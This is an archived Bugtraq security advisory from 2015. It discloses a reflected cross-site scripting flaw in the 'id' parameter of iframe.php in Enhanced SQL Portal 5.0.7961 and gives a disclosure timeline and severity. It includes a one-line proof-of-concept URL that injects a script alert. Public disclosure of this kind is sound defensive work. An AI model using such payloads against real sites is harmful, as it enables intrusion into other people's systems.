bugtraq - Enhanced SQL Portal 5.0.7961 XSS Vulnerability

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite for Android: free password hash cracker in your pocket

[<prev] [next>] [day] [month] [year] [list]

Message-Id: <201506020409.t5249bGW010648@sf01web2.securityfocus.com>
Date: Tue, 2 Jun 2015 04:09:37 GMT
From: apparitionsec@...il.com
To: bugtraq@...urityfocus.com
Subject: Enhanced SQL Portal 5.0.7961 XSS Vulnerability

[+] Credits: John Page ( hyp3rlinx )

[+] Domains: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/AS-ENHSQLPORTAL0602.txt



Vendor:
www.eliacom.com
www.eliacom.com/mysql-gui-download.php



Product:
Enhanced SQL Portal 5.0.7961 web based MySQL administration application.



Advisory Information:
================================================
Enhanced SQL Portal 5.0.7961 XSS Vulnerability




Vulnerability Details:
=====================
iframe.php contains an XSS vulnerability



Exploit code(s):
===============


http://localhost/Enhanced_SQL_Portal_5.0.7961_05_06_2015/iframe.php?id="/><script>alert(666)</script>
  


Disclosure Timeline:
=========================================================


Vendor Notification: May 28, 2015
June 2, 2015 : Public Disclosure


Severity Level:
=========================================================
Med



Description:
==========================================================

Request Method(s):
                                [+] GET

Vulnerable Product:
                                [+] Enhanced SQL Portal 5.0.7961 

Vulnerable Parameter(s):
                                [+] id

Affected Area(s):
                                [+] iframe

===============================================================

(hyp3rlinx)